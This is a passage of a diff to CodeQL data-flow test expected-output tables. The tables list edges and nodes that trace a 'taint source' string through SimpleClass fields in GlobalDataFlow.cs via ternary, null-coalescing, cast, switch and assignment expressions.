| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | |
|
||||
| GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | |
|
||||
@@ -880,43 +874,37 @@ nodes
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
|
||||
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |
|
||||
|
||||
@@ -461,46 +461,40 @@ edges
|
||||
| GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | |
|
||||
| GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | |
|
||||
| GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | |
|
||||
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | |
|
||||
| GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | |
|
||||
@@ -983,43 +977,37 @@ nodes
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
|
||||
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
|
||||
